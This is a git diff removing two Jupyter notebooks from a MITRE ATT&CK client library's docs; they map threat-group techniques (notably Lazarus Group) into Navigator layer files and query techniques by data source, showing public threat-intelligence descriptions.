[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1005',\n", - " 'techniqueName': 'Data from Local System',\n", - " 'comment': \"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs) [Lazarus Group](https://attack.mitre.org/groups/G0032) has used wevtutil to export Window security event logs.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) \",\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1110.003',\n", - " 'techniqueName': 'Password Spraying',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1008',\n", - " 'techniqueName': 'Fallback Channels',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1021.002',\n", - " 'techniqueName': 'SMB/Windows Admin Shares',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa accesses the ADMIN$ share via SMB to conduct lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1074.001',\n", - " 'techniqueName': 'Local Data Staging',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1547.001',\n", - " 'techniqueName': 'Registry Run Keys / Startup Folder',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware attempts to maintain persistence by saving itself in the Start menu folder or by adding a Registry Run key.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'),\n", - " KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1056.001',\n", - " 'techniqueName': 'Keylogging',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware KiloAlfa contains keylogging functionality.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Tools)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection'),\n", - " KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1560',\n", - " 'techniqueName': 'Archive Collected Data',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server. (Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1041',\n", - " 'techniqueName': 'Exfiltration Over C2 Channel',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample also performs exfiltration over the C2 channel.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1026',\n", - " 'techniqueName': 'Multiband Communication',\n", - " 'comment': 'Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1562.001',\n", - " 'techniqueName': 'Disable or Modify Tools',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally, [Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)(Citation: US-CERT SHARPKNOT June 2018). During a 2019 intrusion, [Lazarus Group](https://attack.mitre.org/groups/G0032) disabled Windows Defender and Credential Guard as some of their first actions on host.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1016',\n", - " 'techniqueName': 'System Network Configuration Discovery',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server information about the first network interface card’s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1010',\n", - " 'techniqueName': 'Application Window Discovery',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1057',\n", - " 'techniqueName': 'Process Discovery',\n", - " 'comment': 'Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also gathers process times.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)(Citation: TrendMicro macOS Dacls May 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1012',\n", - " 'techniqueName': 'Query Registry',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample checks for the presence of the following Registry key:HKEY_CURRENT_USER\\\\Software\\\\Bitcoin\\\\Bitcoin-Qt.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1560.002',\n", - " 'techniqueName': 'Archive via Library',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1105',\n", - " 'techniqueName': 'Ingress Tool Transfer',\n", - " 'comment': 'Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families are capable of downloading and executing binaries from its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1083',\n", - " 'techniqueName': 'File and Directory Discovery',\n", - " 'comment': 'Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware samples use a common function to identify target files by their extension. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families can also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.(Citation: Novetta Blockbuster)(Citation: McAfee GhostSecret)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1573.001',\n", - " 'techniqueName': 'Symmetric Cryptography',\n", - " 'comment': 'Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample XORs C2 traffic. Other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses Caracachs encryption to encrypt C2 payloads.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1070.004',\n", - " 'techniqueName': 'File Deletion',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware deletes files in various ways, including \"suicide scripts\" to delete malware binaries from the victim. [Lazarus Group](https://attack.mitre.org/groups/G0032) also uses secure file deletion to delete files from the victim.(Citation: Novetta Blockbuster)(Citation: McAfee GhostSecret)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1098',\n", - " 'techniqueName': 'Account Manipulation',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyDelta-Two contains a function that attempts to rename the administrator’s account.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1543.003',\n", - " 'techniqueName': 'Windows Service',\n", - " 'comment': 'Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families install themselves as new services on victims.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'),\n", - " KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1082',\n", - " 'techniqueName': 'System Information Discovery',\n", - " 'comment': 'Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also collects disk space information and sends it to its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret).',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1070.006',\n", - " 'techniqueName': 'Timestomp',\n", - " 'comment': 'Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee GhostSecret)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1027',\n", - " 'techniqueName': 'Obfuscated Files or Information',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple types of encryption and encoding in its malware files, including AES, Caracachs, RC4, basic XOR with constant 0xA7, and other techniques.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: TrendMicro macOS Dacls May 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T0865',\n", - " 'techniqueName': 'Spearphishing Attachment',\n", - " 'comment': '[Lazarus Group](https://collaborate.mitre.org/attackics/index.php/Group/G0008) has been observed targeting organizations using spearphishing documents with embedded malicious payloads.(Citation: Novetta Blockbuster) Highly targeted spear phishing campaigns have been conducted against a U.S. electric grid company.(Citation: Dragos Mar 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')],\n", - " 'group_id': 'G0032'}]}" - ] - }, - "execution_count": 23, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "for group in groups_list:\n", - " for group_name,techniques_list in group.items():\n", - " for gut in techniques_used:\n", - " if group_name == gut['name']:\n", - " technique_dict = dict()\n", - " technique_dict['techniqueId'] = gut['technique_id']\n", - " technique_dict['techniqueName'] = gut['technique']\n", - " technique_dict['comment'] = gut['relationship_description']\n", - " technique_dict['tactic'] = gut['tactic']\n", - " technique_dict['group_id'] = gut['external_references'][0]['external_id']\n", - " techniques_list.append(technique_dict)\n", - "groups_list[89]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Run dynamic navigator layer template" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "metadata": {}, - "outputs": [], - "source": [ - "import json\n", - "for group in groups_list:\n", - " for k,v in group.items():\n", - " if v:\n", - " actor_layer = {\n", - " \"description\": (\"Enterprise techniques used by {0}, ATT&CK group {1} v1.0\".format(k,v[0]['group_id'])),\n", - " \"name\": (\"{0} ({1})\".format(k,v[0]['group_id'])),\n", - " \"domain\": \"mitre-enterprise\",\n", - " \"version\": \"2.2\",\n", - " \"techniques\": [\n", - " {\n", - " \"score\": 1,\n", - " \"techniqueID\" : technique['techniqueId'],\n", - " \"techniqueName\" : technique['techniqueName'],\n", - " \"comment\": technique['comment']\n", - " } for technique in v\n", - " ],\n", - " \"gradient\": {\n", - " \"colors\": [\n", - " \"#ffffff\",\n", - " \"#ff6666\"\n", - " ],\n", - " \"minValue\": 0,\n", - " \"maxValue\": 1\n", - " },\n", - " \"legendItems\": [\n", - " {\n", - " \"label\": (\"used by {}\".format(k)),\n", - " \"color\": \"#ff6666\"\n", - " }\n", - " ]\n", - " }\n", - " with open(('{0}_{1}.json'.format(k,v[0]['group_id'])), 'w') as f:\n", - " f.write(json.dumps(actor_layer))" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "ALLANITE_G1000.json Indrik Spider_G0119.json\r\n", - "APT-C-36_G0099.json Ke3chang_G0004.json\r\n", - "APT12_G0005.json Kimsuky_G0094.json\r\n", - "APT16_G0023.json Lazarus Group_G0032.json\r\n", - "APT17_G0025.json Leafminer_G0077.json\r\n", - "APT18_G0026.json Leviathan_G0065.json\r\n", - "APT19_G0073.json Machete_G0095.json\r\n", - "APT1_G0006.json Magic Hound_G0059.json\r\n", - "APT28_G0007.json Moafee_G0002.json\r\n", - "APT29_G0016.json Mofang_G0103.json\r\n", - "APT30_G0013.json Molerats_G0021.json\r\n", - "APT32_G0050.json MuddyWater_G0069.json\r\n", - "APT33_G0064.json Mustang Panda_G0129.json\r\n", - "APT37_G0067.json Naikon_G0019.json\r\n", - "APT38_G0082.json Night Dragon_G0014.json\r\n", - "APT39_G0087.json OilRig_G0049.json\r\n", - "APT3_G0022.json Operation Wocao_G0116.json\r\n", - "APT41_G0096.json Orangeworm_G0071.json\r\n", - "Ajax Security Team_G0130.json PLATINUM_G0068.json\r\n", - "Axiom_G0001.json PROMETHIUM_G0056.json\r\n", - "BRONZE BUTLER_G0060.json Patchwork_G0040.json\r\n", - "BlackOasis_G0063.json PittyTiger_G0011.json\r\n", - "BlackTech_G0098.json Poseidon Group_G0033.json\r\n", - "Blue Mockingbird_G0108.json Putter Panda_G0024.json\r\n", - "Bouncing Golf_G0097.json RTM_G0048.json\r\n", - "Carbanak_G0008.json Rancor_G0075.json\r\n", - "Chimera_G0114.json Rocke_G0106.json\r\n", - "Cleaver_G0003.json Sandworm Team_G0034.json\r\n", - "Cobalt Group_G0080.json Scarlet Mimic_G0029.json\r\n", - "CopyKittens_G0052.json Sharpshooter_G0104.json\r\n", - "Dark Caracal_G0070.json Sidewinder_G0121.json\r\n", - "DarkHydrus_G0079.json Silence_G0091.json\r\n", - "DarkVishnya_G0105.json Silent Librarian_G0122.json\r\n", - "Darkhotel_G0012.json SilverTerrier_G0083.json\r\n", - "Deep Panda_G0009.json Sowbug_G0054.json\r\n", - "Dragonfly 2.0_G0074.json Stealth Falcon_G0038.json\r\n", - "Dragonfly_G0035.json Stolen Pencil_G0086.json\r\n", - "Dust Storm_G0031.json Strider_G0041.json\r\n", - "Elderwood_G0066.json Suckfly_G0039.json\r\n", - "Equation_G0020.json TA459_G0062.json\r\n", - "Evilnum_G0120.json TA505_G0092.json\r\n", - "FIN10_G0051.json TA551_G0127.json\r\n", - "FIN4_G0085.json TEMP.Veles_G0088.json\r\n", - "FIN5_G0053.json Taidoor_G0015.json\r\n", - "FIN6_G0037.json The White Company_G0089.json\r\n", - "FIN7_G0046.json Threat Group-1314_G0028.json\r\n", - "FIN8_G0061.json Threat Group-3390_G0027.json\r\n", - "Fox Kitten_G0117.json Thrip_G0076.json\r\n", - "Frankenstein_G0101.json Tropic Trooper_G0081.json\r\n", - "GALLIUM_G0093.json Turla_G0010.json\r\n", - "GCMAN_G0036.json Volatile Cedar_G0123.json\r\n", - "GOLD SOUTHFIELD_G0115.json WIRTE_G0090.json\r\n", - "Gallmaker_G0084.json Whitefly_G0107.json\r\n", - "Gamaredon Group_G0047.json Windigo_G0124.json\r\n", - "Gorgon Group_G0078.json Windshift_G0112.json\r\n", - "Group5_G0043.json Winnti Group_G0044.json\r\n", - "HAFNIUM_G0125.json Wizard Spider_G0102.json\r\n", - "HEXANE_G1001.json ZIRCONIUM_G0128.json\r\n", - "Higaisa_G0126.json admin@338_G0018.json\r\n", - "Honeybee_G0072.json menuPass_G0045.json\r\n", - "Inception_G0100.json\r\n" - ] - } - ], - "source": [ - "! ls *.json" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "We can delete all the files with the following command." - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "metadata": {}, - "outputs": [], - "source": [ - "! rm *.json" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Create Navigator Group Layer Files - (Automatic)\n", - "-----------------------" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "CPU times: user 8.02 s, sys: 215 ms, total: 8.23 s\n", - "Wall time: 12.8 s\n" - ] - } - ], - "source": [ - "from attackcti import attack_client\n", - "lift = attack_client()\n", - "\n", - "%time lift.export_groups_navigator_layers()" - ] - }, - { - "cell_type": "code", - "execution_count": 28, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "ALLANITE_G1000.json Indrik Spider_G0119.json\r\n", - "APT-C-36_G0099.json Ke3chang_G0004.json\r\n", - "APT12_G0005.json Kimsuky_G0094.json\r\n", - "APT16_G0023.json Lazarus Group_G0032.json\r\n", - "APT17_G0025.json Leafminer_G0077.json\r\n", - "APT18_G0026.json Leviathan_G0065.json\r\n", - "APT19_G0073.json Machete_G0095.json\r\n", - "APT1_G0006.json Magic Hound_G0059.json\r\n", - "APT28_G0007.json Moafee_G0002.json\r\n", - "APT29_G0016.json Mofang_G0103.json\r\n", - "APT30_G0013.json Molerats_G0021.json\r\n", - "APT32_G0050.json MuddyWater_G0069.json\r\n", - "APT33_G0064.json Mustang Panda_G0129.json\r\n", - "APT37_G0067.json Naikon_G0019.json\r\n", - "APT38_G0082.json Night Dragon_G0014.json\r\n", - "APT39_G0087.json OilRig_G0049.json\r\n", - "APT3_G0022.json Operation Wocao_G0116.json\r\n", - "APT41_G0096.json Orangeworm_G0071.json\r\n", - "Ajax Security Team_G0130.json PLATINUM_G0068.json\r\n", - "Axiom_G0001.json PROMETHIUM_G0056.json\r\n", - "BRONZE BUTLER_G0060.json Patchwork_G0040.json\r\n", - "BlackOasis_G0063.json PittyTiger_G0011.json\r\n", - "BlackTech_G0098.json Poseidon Group_G0033.json\r\n", - "Blue Mockingbird_G0108.json Putter Panda_G0024.json\r\n", - "Bouncing Golf_G0097.json RTM_G0048.json\r\n", - "Carbanak_G0008.json Rancor_G0075.json\r\n", - "Chimera_G0114.json Rocke_G0106.json\r\n", - "Cleaver_G0003.json Sandworm Team_G0034.json\r\n", - "Cobalt Group_G0080.json Scarlet Mimic_G0029.json\r\n", - "CopyKittens_G0052.json Sharpshooter_G0104.json\r\n", - "Dark Caracal_G0070.json Sidewinder_G0121.json\r\n", - "DarkHydrus_G0079.json Silence_G0091.json\r\n", - "DarkVishnya_G0105.json Silent Librarian_G0122.json\r\n", - "Darkhotel_G0012.json SilverTerrier_G0083.json\r\n", - "Deep Panda_G0009.json Sowbug_G0054.json\r\n", - "Dragonfly 2.0_G0074.json Stealth Falcon_G0038.json\r\n", - "Dragonfly_G0035.json Stolen Pencil_G0086.json\r\n", - "Dust Storm_G0031.json Strider_G0041.json\r\n", - "Elderwood_G0066.json Suckfly_G0039.json\r\n", - "Equation_G0020.json TA459_G0062.json\r\n", - "Evilnum_G0120.json TA505_G0092.json\r\n", - "FIN10_G0051.json TA551_G0127.json\r\n", - "FIN4_G0085.json TEMP.Veles_G0088.json\r\n", - "FIN5_G0053.json Taidoor_G0015.json\r\n", - "FIN6_G0037.json The White Company_G0089.json\r\n", - "FIN7_G0046.json Threat Group-1314_G0028.json\r\n", - "FIN8_G0061.json Threat Group-3390_G0027.json\r\n", - "Fox Kitten_G0117.json Thrip_G0076.json\r\n", - "Frankenstein_G0101.json Tropic Trooper_G0081.json\r\n", - "GALLIUM_G0093.json Turla_G0010.json\r\n", - "GCMAN_G0036.json Volatile Cedar_G0123.json\r\n", - "GOLD SOUTHFIELD_G0115.json WIRTE_G0090.json\r\n", - "Gallmaker_G0084.json Whitefly_G0107.json\r\n", - "Gamaredon Group_G0047.json Windigo_G0124.json\r\n", - "Gorgon Group_G0078.json Windshift_G0112.json\r\n", - "Group5_G0043.json Winnti Group_G0044.json\r\n", - "HAFNIUM_G0125.json Wizard Spider_G0102.json\r\n", - "HEXANE_G1001.json ZIRCONIUM_G0128.json\r\n", - "Higaisa_G0126.json admin@338_G0018.json\r\n", - "Honeybee_G0072.json menuPass_G0045.json\r\n", - "Inception_G0100.json\r\n" - ] - } - ], - "source": [ - "! ls *.json" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "We can delete all the files with the following command." - ] - }, - { - "cell_type": "code", - "execution_count": 29, - "metadata": {}, - "outputs": [], - "source": [ - "! rm *.json" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/docs/playground/techniques_by_datasources.ipynb b/docs/playground/techniques_by_datasources.ipynb deleted file mode 100644 index a2d2522..0000000 --- a/docs/playground/techniques_by_datasources.ipynb +++ /dev/null @@ -1,195 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Get Techniques from Data Sources" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Import Library" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "from attackcti import attack_client" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Initialize Client" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "lift = attack_client()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Retrieve Techniques " - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [], - "source": [ - "techniques = lift.get_techniques_by_datasources(\n", - " \"Network intrusion detection system\",\n", - " \"Network protocol analysis\",\n", - " \"Netflow/Enclave netflow\",\n", - " \"Packet capture\",\n", - " \"DNS records\"\n", - ")" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "45" - ] - }, - "execution_count": 4, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "len(techniques)" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "{\n", - " \"type\": \"attack-pattern\",\n", - " \"id\": \"attack-pattern--2877063e-1851-48d2-bcc6-bc1d2733157e\",\n", - " \"created_by_ref\": \"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5\",\n", - " \"created\": \"2020-05-21T17:43:26.506Z\",\n", - " \"modified\": \"2020-05-21T17:43:26.506Z\",\n", - " \"name\": \"Wireless Compromise\",\n", - " \"description\": \"Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: ICSCorsair - Bolshev) (Citation: Hart - Bolshev) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. \\n\\nA joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Maroochy - MITRE - 200808) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. \\n\\nA Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) The remote controller device allowed the student to interface with the tram\\u2019s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: LodzTram-Schneier-2008-01) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: LodzTram-LondonReconnections-2017-12)\",\n", - " \"kill_chain_phases\": [\n", - " {\n", - " \"kill_chain_name\": \"mitre-ics-attack\",\n", - " \"phase_name\": \"initial-access-ics\"\n", - " }\n", - " ],\n", - " \"external_references\": [\n", - " {\n", - " \"source_name\": \"mitre-ics-attack\",\n", - " \"url\": \"https://collaborate.mitre.org/attackics/index.php/Technique/T0860\",\n", - " \"external_id\": \"T0860\"\n", - " },\n", - " {\n", - " \"source_name\": \"Hart - Bolshev\",\n", - " \"description\": \"Alexander Bolshev. (2014, March 11). S4x14: HART As An Attack Vector. Retrieved January 5, 2020.\",\n", - " \"url\": \"https://www.slideshare.net/dgpeters/17-bolshev-1-13\"\n", - " },\n", - " {\n", - " \"source_name\": \"ICSCorsair - Bolshev\",\n", - " \"description\": \"Alexander Bolshev, Gleb Cherbov. (2014, July 08). ICSCorsair: How I will PWN your ERP through 4-20 mA current loop. Retrieved January 5, 2020.\",\n", - " \"url\": 